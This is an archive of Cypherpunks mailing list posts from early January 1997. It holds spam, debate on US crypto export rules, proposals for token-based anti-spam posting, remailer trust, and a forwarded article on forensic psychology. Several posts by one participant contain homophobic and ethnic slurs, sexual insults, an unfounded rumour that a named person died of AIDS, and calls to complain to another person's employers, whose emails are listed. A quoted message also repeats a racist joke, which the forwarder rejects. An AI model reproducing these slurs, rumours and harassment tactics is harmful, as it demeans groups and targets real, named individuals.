program which will link your Web Pages to over 500 
Search Engines & Directories?

You Can Download the Program and have a FREE TRIAL at:

    http://www.freegoodies.com/wizard/submit.htm   

 it's great mate!

Happy New Year

Kessa




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: travlpls@netside.com
Date: Wed, 1 Jan 1997 15:25:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Travel Discounts
Message-ID: <199701012319.SAA28234@ccs.netside.com>
MIME-Version: 1.0
Content-Type: text/plain


Fuck_God_Up_The_Ass,

How would you like to save 65% on all your leisure and
business travel?

Save at thousands of fine hotels, resorts and condos, all
around the world. Also, save on airfare, cruises, car and
RV rentals, special attractions and MUCH MUCH more!!

That's just the tip of the iceberg! For a limited time
only, we are offering a golf package which includes 50%
off green fees at over 2,000 golf facilities.

This travel package will pay for itself the first time you
use it!!

*START SAVING NOW!! SIMPLY HIT REPLY AND TYPE "DISCOUNTS"*





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 1 Jan 1997 14:01:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: benefits of EAR (not)?
Message-ID: <199701011823.SAA01596@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Reading through "http://jya.com/bxa123096.txt":

>     1. This interim rule has been determined to be significant for
> purposes of E.O. 12866. A cost benefit analysis has been prepared and
> is available upon request by contacting James A. Lewis at (202) 482-
> 0092.

Anyone availed themselves of this offer of a CBA for EAR?  Just
curious as to what the supposed benefits are :-)

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 1 Jan 1997 13:59:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: new restrictions in EAR (over ITAR)
Message-ID: <199701011833.SAA01599@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



(from  "http://jya.com/bxa123096.txt")

:     a. ``Software'' specially designed or modified for the
: ``development'', ``production'' or ``use'' of equipment or ``software''
: controlled by 5A002, 5B002 or 5D002.
:     b. ``Software'' specially designed or modified to support
: ``technology'' controlled by 5E002.

large integer libraries?  (modexp functions?)

:     c. Specific ``software'' as follows:
:     c.1. ``Software'' having the characteristics, or performing or
: simulating the functions of the equipment controlled by 5A002 or 5B002;
:     c.2. ``Software'' to certify ``software'' controlled by 5D002.c.1;

this one (I presume) is addressed at people like microsoft with CAPI
certifications, you can't export the signing software

:     c.3. ``Software'' designed or modified to protect against malicious
: computer damage, e.g., viruses;

- Virus scanning software?  (Winn Schwartau's info warfare hype is
rubbing off on the spooks) Makes one wonder, if it's purportedly in
the national security interests to bar the export of virus scanners
(of any quality), logically it's also in the national security
interests for the NSA to write and distribute virii.

- Programs which checksum themselves as a crude check against
viruses/modification?  (some _operating systems_ qualify on this
basis)

- md5file from rfc1321?  (rfc1321 is the MD5 rfc, md5file checksums
files with md5, useful for checking what's changed)?

- firewalls! (whoops there goes a few more million in US trade)

Madness,

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 1 Jan 1997 16:40:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Let you know
In-Reply-To: <199701012040.PAA24498@mail1y-int.prodigy.net>
Message-ID: <c7mVZD81w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


sls123@prodigy.net writes:

> The program just started, in fact it has less than 550 members.  This
> IS the ground floor!  The company is advertising in several major
> print publications next month!  I have been in several MLM's and I can
> finally say; "This is the one I've been looking for!"  If you know
> what it's like to lose sleep because your so exited, email me NOW!

Has anyone else noticed the similarities between PGP and MLM?
Here you recruit people to use PGP and sign their keys, and they
sign the keys of the people they recruit.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 1 Jan 1997 19:25:59 -0800 (PST)
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Extremism in the defense of liberty is no vice
In-Reply-To: <9612302254.AA00731@cow.net>
Message-ID: <32CB2A77.218F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz wrote:
> At 10:54 AM -0800 12/31/96, Timothy C. May wrote:[snip]
> I would say that the street action which effectively eliminated legally
> mandated racial segregation about 25 years ago qualifies as a revolution.
> People certainly put their bodies, and occasionally their lives, on the
> line for it.  It didn't happen because the political powers that be decided
> to do it.  It happened because people mobbed in the streets and made it
> happen. The same argument applies to the actions which forced the withdrawal
> from Vietnam. With the end of the cold war, and the ensuing reduction in
> need for the entrenched national security establishment, we may be ripe
> for another one. I personally hope our government will continue to show
> that it is civilized by keeping the blood shed to a minimum.

I'll tell you exactly what they'll show.  They are a *lot* more hardened
to civil unrest than they were at Kent State, etc.  This time, as in the
late 1970's, the leaders, organizers, and other influential people will
be removed, one way or the other.  Dissidents will be allowed, as long
as (like Chomsky) they're not a real threat.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 1 Jan 1997 19:35:25 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <gP5uZD70w165w@bwalk.dm.com>
Message-ID: <32CB2CA9.5E43@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Dale Thorn <dthorn@gte.net> writes:
> > Peter Hendrickson wrote:
> > > At 1:01 PM 12/31/1996, Z.B. wrote:
> > > >On Tue, 31 Dec 1996, Dale Thorn wrote:
> > > >> ...I will *not* install and run PGP.

> > > People who don't like using PGP, or can't use it, or won't use it,
> > > do not belong on this list.

> > So who died and made you the king?

> That's a very good question, Dale... Have you seen any traffic from the stupid
> cocksucker John Gilmore after the recent allegation that he died from AIDS???

I can only imagine what Gilmore's response would be, say, in person.
Something on the order of "I can neither confirm nor deny".
(Just a guess).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 1 Jan 1997 17:00:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <v0300780eaef08245ba4e@[199.182.128.36]>
Message-ID: <g5oVZD82w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz <frantz@netcom.com> writes:

> There seems to some confusion about what I actually proposed.  (I never
> seem to be able to write clearly the first time.)  Let me describe in more
> detail my currently preferred token distribution system.
...

There's no confusion. You propose even more censorship than there is now.

> Since tokens are good forever, majordomo will only give out a limited
> number per day.  I suggest four.  This limit will somewhat protect against
> the attack Ray Arachelian pointed out of having one abusive user collect
> 10,000,000 tokens.

Ray "Arsenic" Arachelian of ASALA/Earthweb is a lying piece of shit, like
the rest of the "cypher punks".

You can complain about Ray Arachelian's libel, spam, forgery, and other
net-abuse to the owners of Earthweb, LLC - the Web designer employing Ray
as an associate network administrator - Jack Hidary <jack@earthweb.com>,
Murray Hidary <murray@earthweb.com>, and Nova Spivack <nova@earthweb.com>.

> have 3 of them going directly to the trash.  Perhaps aga should get
> kickbacks from Qualcomm.  He managed to sell a copy of EudoraPro.)

Qualcomm fired Kent Paul Dolan, so they're not all that bad.

> Tokens would also give the list administrator a tool to discourage certain
> posters.  If John Gillmore wanted to make it hard for Dimitri to post, he
> could cancel Dimitri's token.  Dimitri could get another one (under a
> different name if Majordomo's instructions prevented it from giving him
> one), but John could continue the cancel the new ones.

I'm sure the cocksucker John Gilmore would masturbate every time he did that.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Wed, 1 Jan 1997 19:40:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: premail.
In-Reply-To: <199612310718.BAA02863@manifold.algebra.com>
Message-ID: <32CB2EEC.6596@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Big Moma wrote:
> 
> ichudov@algebra.com (Igor Chudov @ home) wrote:[...]
> > Maybe remailer operators should asks someone reputable to sign their
> > remailers' keys so that the users can easily verify the signatures.
> 
>         Yes, that is one part of it. Another part is that Raph should
> include a public PGP key in the premail program and then sign both the
> remailer-list and the pubring at kiwi.cs.berkeley.edu with it.

Those resources are automatically generated by programs running on a 
machine of unverified security on the Internet. A PGP signature doesn't 
mean much in such a situation.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Wed, 1 Jan 1997 19:45:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Internal Passports
In-Reply-To: <v03007801aeecab7271cd@[207.167.93.63]>
Message-ID: <32CB2FEE.24D3@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
[...]
> And concerns about "identity theft" when such a simple thing as an SS
> number is the key to so many records, rights, etc.

All you have to do is take a stroll down any street the last week of 
December, reading SSNs off the labels on the tax forms in everyone's 
mailbox.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 1 Jan 1997 20:54:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <199612312306.RAA00569@smoke.suba.com>
Message-ID: <v0300780faef090ff3076@[199.182.128.36]>
MIME-Version: 1.0
Content-Type: text/plain


I guess from reading Scott McGuire's message I should have described the
posting procedure as well as the token issuing procedure.  Here is what you
do to post:

Poster writes the post and include the token in the required place
(wherever that turns out to be).  Poster encrypt the message with the
list's secret key and sends it to the list.  Majordomo decrypts the
message, checks the token, and if the token check passes, sends the
plaintext of the message to the list members.

Important points:

(1) You do not need a secret key to post.  This feature allows you to post
from machines where you don't want to store your secret key ring.
(2) List members do not need PGP, only posters.
(3) People who want to post who can't due to local policy (e.g. no PGP)
have choices:
 (a) Get a real ISP and machine and become a first class citizen.
 (b) Send the post to someone who can post via private mail, explain
     the situation and ask to have it posted.

The principle reason for using PGP for posting is to protect the token from
theft.  I don't know a single-message, one-way protocol where a person can
show possession of a token without reveling it.  If there is such a
protocol, then PGP is no longer required.

David Molnar asks:
>In any case, what bogeyman are we worried about, anyway? Pseudonyms? This
>list is already full of 'em. That's nothing new. Forged messages? If you
>trust anything you read on the Internet...well.. Privacy? It's a public
>mailing list, and one which I have long respected for its tradition of
>openness and inclusion.
><casts nervous glance>

The bogeyman is flooding attack which make the list server effectivity
unavailable.  I have tried to preserve all the features he lists.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 1 Jan 1997 19:34:40 -0800 (PST)
To: ph@netcom.com (Peter Hendrickson)
Subject: Re: Anonymous Post Control
In-Reply-To: <v02140b0caeef4ce75c72@[192.0.2.1]>
Message-ID: <199701020330.VAA16622@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Peter Hendrickson wrote:
> 
> It's hard to filter anonymous posters.  I want to see what a few
> of them have to say so I can't filter on the remailers.
> 
> If anonymous posters PGP sign their posts, it is still hard to filter
> using a lame filter software such as that which comes to Eudora.
> 
> It would be nice if toad.com would verify signatures and insert a
> header into the messages with the PGP User Id of every poster.
> Then it would be very easy for many people to filter the messages
> using widely available off-the-shelf mail software.
> 
> (I volunteer to adapt majordomo for this task if it seems like
> a good idea.)

That's what my moderation bot, STUMP, does.

The purpose of that was not so much to help readers work with their 
killfiles, but rather to protect pseudonymous posters from forgeries
involving their names, and let them build reputations.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Wed, 1 Jan 1997 21:34:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Extremism in the defense of liberty is no vice
In-Reply-To: <9612302254.AA00731@cow.net>
Message-ID: <32CB494C.48AD@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


All I can tell you is brother, you'll have to wait.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 1 Jan 1997 19:42:45 -0800 (PST)
To: drose@AZStarNet.com
Subject: Re: Ebonite Notes from All Over
In-Reply-To: <199612312313.QAA09275@web.azstarnet.com>
Message-ID: <199701020339.VAA16675@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


i find all four not funny at all


drose@AZStarNet.com wrote:
> 
> 1. J. Jackson apparently now finds "ebonics" to be a "Goot Thang"(SM): _S.F.
> Examiner_ reporter Venise (sic) Wagner headlines in the paper's Web site
> today that "Jackson backs Oakland 'ebonics.' Rights leader switches position
> after hearing about program in detail." Says Jackson: "The first message the
> came out was that the district was going to make black language equitable
> (sic) as another language.  That is not the idea." Is Mr. Jackson speaking
> in Ebonics?
> 
> 2. From "A Brief History of Plastics": "Ebonite (TM) is produced by heating
> natural rubber with about 10% by weight of sulpher.  This is about five time
> more sulpher than would be used in conventional vulcanisation. The material
> is hard, black and tough and bears a striking resemblance to the hardwood,
> ebony--hence its name. The main use for ebonite in the early 1800s was in
> piano keys."
> 
> 3. Although Ebonite International sponsors the Professional Bowling
> Association's "Ebonite Classic" tournament, the Official ABC/WIBC Ruling on
> Ball Cleaners, as at 9/12/96, has ruled that their 1-and-2-Step Reactive
> Resin Ball Cleaners "cannot be used during ABC/WIBC sanctioned competition
> because it would be in violation of Rule 19." But take heart: the American
> Bowling Conference Equipment Specifications Department has decided that
> "these products are allowed before or after league and/or tournament sessions."
> 
> 4. What's the difference between a bowling ball and a black woman?  If
> you're really, really hungry, you can always eat the bowling ball.
> 
> N.B. I personally find #4 above to be racist, sick, and not very "funny" at all.
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 1 Jan 1997 20:58:43 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: stupid remailer-ignorant stud3nt caught by NY polic3
Message-ID: <199701020409.WAA16955@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


http://www.nytimes.com/yr/mo/day/news/national/psychopaths-educ.html




        Potential Killer or Just Disturbed? Psych Class Seeks
        Distinction

        By KAREN W. ARENSON

           NEW YORK -- The 20-year-old man with a Mohawk haircut,
           multicolored pigtails, tattooed arms and rings on every
           finger was an engineering student at a New York college when
        he sent e-mail to a public official threatening to torture him
        and rape his young daughter. The FBI arrested the student a few
        days later as he sat in his pajamas eating breakfast.

        Late last year, the case landed on the desk of Dr. Naftali
        Berrill, a forensic psychologist who had conducted court-ordered
        examinations of Joel Rifkin, the serial killer, and Colin
        Ferguson, the Long Island Rail Road killer.

        Now, Berrill is using the e-mail case in the class he teaches at
        John Jay College of Criminal Justice in Manhattan. The class is
        part of the college's fastest-growing area of study: forensic
        psychology. Six years ago there were 96 students in the masters
        program; now there are 271.

        "There is a fascination with this stuff," said Berrill, who
        assigns movies like "Klute," "Silence of the Lambs" and "Psycho"
        as homework, along with articles in scientific journals.
        "Popular culture has gone nuts with the idea of taking someone
        who has committed a crime and profiling the person, thinking
        about why he did it, what is behind it."

        The goal on a recent day was to get his students to judge
        whether the tattooed man was fit to stand trial, whether he was
        legally responsible for his behavior, or whether he might be
        considered legally insane, and whether he is in need of
        treatment. Berrill had evaluated the man and knew the court's
        ruling, but he wasn't about to tell his students until the
        exercise was over.

        "How should the young man be handled?" he asked the students.
        "Is he really dangerous or is he only sick? Is prison
        appropriate or does he need medical treatment?"

        First, the students wanted more information. They did not have
        the young man to question, so they began firing questions at
        their professor.

        Did the young man have prior problems with the law? 

        Berrill shook his head no. 

        Any history of psychological problems? 

        Berrill reported that the young man had "apparently always been
        an odd duck, a person who felt separated from the group and who
        capitalized on his oddness." Since his arrest, he says he has
        had fleeting ideas of killing himself.

        How did he behave when arrested? 

        He spoke quietly and his speech was fluent, articulate and
        terse. His reaction was more surprise than remorse.

        Any other unusual behavior? 

        He used to have fantasies of protecting people beset by
        attackers. Sometimes he sensed the taste of chocolate, even when
        he had none in his mouth. Sometimes he walked around New York
        City with knives strapped to his chest and arms.

        For half an hour, the psychological sleuthing continued: What
        kind of family history did he have? He was the last of several
        children in an Irish-American working-class family, and he had
        brothers who had been arrested for drug use.

        Was he overprotected and coddled? The young man had said he was
        well cared for, but it was difficult to learn whether there was
        true affection.

        Finally, the students were ready to lay out their theories. 

        The young man showed signs of a narcissistic personality
        disorder or a histrionic personality disorder, some said. He
        might have sent the e-mail message just to get attention, adding
        the rape threat for shock value but not really as something he
        intended to carry out.

        One group thought the student himself had been abused. And some
        saw his threats as reflections of his own sexual inadequacy.
        Some students suggested blood tests and psychological tests to
        see if he was depressed.

        For many students, the analysis was better than an evening in
        front of the television set. "I love it," said Adrienne Higgins,
        a former florist who returned to college and hopes to go on for
        a Ph.D. in neuropsychology. Eva Norvind, who has a master's
        degree in health education and counsels sexual deviants, calls
        the class one of her most challenging.

        Some students go on to earn doctoral degrees in psychology and
        begin a practice. Others go to law school, and still others go
        into social service or police work. But Berrill estimates that
        about a third of the students take the class to indulge in their
        own fascination with crime.

        Berrill got to the heart of the question: "If you were in law
        enforcement, is he a dangerous person?"

        Most class members nodded yes. The most telling piece of
        evidence, said one student, was "the fact that he was walking
        around the city, like an armed bomb waiting to go off."

        And the dissenters? 

        "He needs help. I am very concerned about the homicidal and
        suicidal thoughts."

        Another commented, "In terms of being dangerous, he has no
        history. His use of e-mail shows a fear of social contact, and
        that doesn't fit the character type of a killer."

        Berrill was pleased. He had one more question: Does the young
        man have a shot at the insanity defense?

        No, most students said. "He was aware of everything he was
        doing," said one. "But he would be helpful to an attorney."

        Berrill beamed. In his view, the class had captured the
        important elements.

        "If I were asked by a judge," he told them, "I would say he is
        dangerous. Always err on the conservative side. He is in need of
        mental health services. But incarceration? No. He is not
        psychologically equipped to deal with real criminals or
        psychopaths."

        The court concurred. Earlier this year, a judge put the young
        man on probation and directed him to seek psychological
        counseling.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Jai Maharaj" <jai@aloha.com>
Date: Thu, 2 Jan 1997 00:15:58 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: "Cypher punks" display arrogance and stupidity in the new year
In-Reply-To: <8wyVZD83w165w@bwalk.dm.com>
Message-ID: <Pine.BSI.3.95.970101221025.12048B-100000@aloha.com>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 1 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> ... Much of the time on the Internet, when some asshole pulls 
> plugs and tries to silence dissent, he turns out to be Gay....

How true!  The pattern seems to applt to most of the censors
operating from the sewer known as lava.net .
 
Jai Maharaj
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bizman@mwt.net
Date: Wed, 1 Jan 1997 20:52:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cash-Grabber-Reversal !!!
Message-ID: <199701020451.WAA12633@westbyserver.westby.mwt.net>
MIME-Version: 1.0
Content-Type: text/plain




Some time ago....you shared an email message with me.
I'm not going to tell you to quit doing what your doing but...
I will share something that may help and compliment your
current offer.

Yours FREE!  I will send you a copy of my "Reversal Letter" that
has made over $1.098.00 last month.  Use this powerful letter
to anyone who sends you a offer via direct mail.

The "Reversal Letter" is sent snail mail only,  If you would like
to get a copy of this "money-grabbing...cash producing letter"

email me your snail mail address.  If you are working a Primary MLM
or business opportunity...feel free to let us know,   The Reversal
Letter is sent to people who send you their offers.  Powerful!


Thank You!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 1 Jan 1997 21:00:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Cypher punks" display arrogance and stupidity in the new year
In-Reply-To: <Pine.LNX.3.95.970101164023.29564E-100000@dhp.com>
Message-ID: <8wyVZD83w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:
> > You can complain about Ray's forgery, spam, libel, and other net-abuse to
> > his bosses at Earthweb, LLC: Jack Hidary <jack@earthweb.com>, Murray Hidary,
> > <murray@earthweb.com>, and Nova Spivack <nova@earthweb.com>.
>
> Is John Gilmore an admitted Gay, or does he try and cover it up?

The way Peter "INN Saboteur" Burger tries to cover up his sexual perversions?

Much of the time on the Internet, when some asshole pulls plugs and tries to
silence dissent, he turns out to be Gay. In particular, King John Lack-Clue
Gilmore, the Supreme and Absolute 12" Ruler of the "cypher punks", is an
effeminate, limp-wristed, self-admitted and -exposed cocksucking bitch.

I had lunch with Gilmore once. He slurps rather disgustingly when he eats.
I suppose he slurps the same way when he sucks big dicks in San Francisco.

> > By the way, 'grep' stands for 'g[globa]/r[egular ]e[xpression]/p[rint].
>
> Ah yes Professor, but then there is Egrep with the pipe
> and Fgrep without the pipe.  How about explaining the difference
> between the use of those buggers?

fgrep runs faster because it doesn't deal with regular expressions like *. If
you're searching for a fixed string ('aga' rather than 'a.*a'), it can save
you a few milliseconds. egrep understand slightly more complicated regular
expressions that regular grep. E.g. egrep "xy?z" file will match xyz and xz,
but not xyyz (zero or one occurrences).

Here's a neat trick: if you want to list a file with line numbers, try:

grep -n "^" file

Of course this is too technical for the "cypher punks".

By the way the word "bugger" comes from the "Bulgaria". In the Middle Ages,
many denizens of the Balkans were in sect that advocated anal intercourse as
a means of birth control. Armenians too are stereotyped in both Russian and
Turkish cultures as a nation of perverts, always ready to bend over for one
another or to fellate a farm animal.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 1 Jan 1997 22:26:41 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: "Cypher punks" display arrogance and stupidity in the new year
In-Reply-To: <8wyVZD83w165w@bwalk.dm.com>
Message-ID: <199701020620.AAA17713@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> Here's a neat trick: if you want to list a file with line numbers, try:
> 
> grep -n "^" file

cat -n works faster.

> Of course this is too technical for the "cypher punks".

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@cow.net>
Date: Wed, 1 Jan 1997 22:53:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Hardening lists against spam attacks
Message-ID: <9701020637.AA04024@cow.net>
MIME-Version: 1.0
Content-Type: text/plain


	So, we had a spike of spam attack around Christmas,
primarily using the mechanism of subscribing the cypherpunks
list to other mailing lists. Now, everybody is off designing
methods to limit postings to the list.

	You know what this reminds me of? The enthusiasm displayed
by the the current US government administration to get bills passed
that would curtail even more rights of its citizens in the wake of
the TWA flight 800 crash.

	Cypherpunks, you have met the enemy and it is you.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Molnar <bigdaddy@shell.skylink.net>
Date: Thu, 2 Jan 1997 02:05:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: subliminal channels and software failure modes
Message-ID: <Pine.SUN.3.91.970102013835.2511A-100000@shell.skylink.net>
MIME-Version: 1.0
Content-Type: text/plain


Just a thought I had the other day. Probably unconciously plagarized, but 
bear with me.

What about using subliminal channels as a tool to signal software failure? 

That is, suppose we define some kind of condition in which the software 
could continue to work, but should not. In addition, simple cessation of 
function is not possible, or not advisable. For examples, all that comes to 
mind off the top of my head is "stolen" software...though perhaps one 
might use subliminal channels for diagnostic equipment if competitors are 
assumed to be listening in? 

When such a condition is met, the software modifies its output (which 
should be signed w/something which has a nice, big subliminal 
channel...SHA?) to signal the condition and the particulars. After 
modifying itself to produce the altered output, it deletes the code 
responsible for the modification. Unless caught in the act, or compared 
to a legitimate copy, the application appears no different than before.

I was thinking in terms of crypto (or other) software that attempts to 
personalize itself to a particular machine. If someone steals the HD or 
grabs the keys and program, their output will be 'tainted', alerting 
legitimate users to the theft. Hardware disconnected from its normal 
environment might use such a channel to indicate its 'stolen' or 
'temporarily down - come fix' status. 

This is security through obscurity...the chances of it working are about 
the chance that no one notices the change or finds the code responsible. 
I suppose the software  industry (and the pirates) will be too happy to 
provide examples of many attempts to use such schemes. For this reason, I 
would only ask if it makes sense for limited distributions of 
software or hardware products. Is this kind of system already in use? 

Any ideas on making it more applicable to general distribution, or has 
this already been tried and discarded?

David Molnar





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iolkos@ix.netcom.com
Date: Thu, 2 Jan 1997 02:39:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: How to Reach The Most People
Message-ID: <Ready Aim Fire!_1/2/97 05:38:56_iolkos@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ijlnotes@joblocator.com (IJLNotes)
Date: Wed, 1 Jan 1997 20:36:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: IJLNotes is a Computerized Automated Messaging Center
Message-ID: <19970102043713006.AAA51@d00472.mco.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Wed, 1 Jan 1997 20:17:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <v0300780eaef08245ba4e@[199.182.128.36]>
Message-ID: <199701020416.FAA05470@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz writes:

[snip lots of good ideas about token distribution]

A very good scheme, but why not give each subscriber a token when s/he
subscribes? Something along the lines of:

- - - - - - - - - - - - - - - - - - - -
Welcome to Cypherpunks.

Your unique token is: 0A553FC1771623109504522E31C07F44

This token must appear either as the first line of the message body or in an
X-Token: header for any mail you send to the list. Any messages sent to the
list
address without this information will be discarded.

Your token is initially good for <n> postings per day.
- - - - - - - - - - - - - - - - - - - -

Generate a token thus:

Let X be some known information like the From: line of a subscriber's message.
Let T be some unique information for each subscriber, like the exact time that
Majordomo processed the subscribe request.
Let F be the contents of some (non-changing) file on the machine running
         Majordomo (a "secrets" file).

Use a hash function H(X+T+F) to generate your token. Store the token, the
unique information (time, in my example) and the number of posts allowed per
day in a file you can use to validate user requests.

Every time a user sends mail to the list address, Majordomo checks for a token.
If there's a valid one, it strips it out and distributes the message. Otherwise
it throws it away. This way no one else sees which token was used to post a
message.

Alice posts all the time using her real name. She just sticks her token in the
first line of her post. Majordomo sees it, validates it, and strips it out
before passing the message along. It decrements Alice's remaining message count
for the day.

Bob wants to post something anonymously. His token isn't associated with his
user ID -- the only thing Majordomo knows about it is that it's in the token
file and it's flagged as active. He sends the message through the remailer
network with his token in it, and Majordomo validates it, strips it out, and
passes the message to the subscribers, decrementing the number of messages Bob
has remaining for that day.

Charlie wants to unsubscribe from the list. He sends an unsubscribe message to
majordomo with his token in it. Majordomo uses the known information (his
"From:" line in my example), plus the time it kept from when his token was
generated and the secrets file to validate his request. If it matches up, he's
unsubscribed and his token's invalidated; if not, he's warned that someone else
tried to unsubscribe him. (In order to allow people whose tokens have been
invalidated to unsubscribe, don't make sure the token is valid -- just that it
matches up with the user.)

Mallory wants to spam the list. He subscribes and gets a token, which he
uses to
forward commercial announcements to the list. The list manager checks the logs
to see which token was used, and reduces its posting limit or invalidates it.
Mallory is no longer allowed to post, unless his token is reinstated (or he
unsubscribes and resubscribes).

Majordomo also has to keep track of how many posts have been associated with a
token in any give day, but that seems like a small problem. Users could appeal
to the list admin if they wanted a higher limit than the default. Keeping the
number fairly low also discourages protracted flamewars somewhat.

This isn't an extremely "hard" mechanism (I know it's still vulnerable to
eavesdropping attacks), but it'd preserve the ability to post anonymously and
make it tougher for spammers to decrease the S/N. Abusers would have to
unsubscribe and resubscribe repeatedly to get new tokens, which would make
them easier for the list admin to track down.

Thoughts?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 2 Jan 1997 03:38:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: E-Cash IPO!  PCweek Mag!
Message-ID: <v0300781caef14c85363d@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


I'm sure they'll be hearing from Digicash, BV's trademark folks on this one...

Cheers,
Bob Hettinga

--- begin forwarded text


From: latham@softcell.net
To:
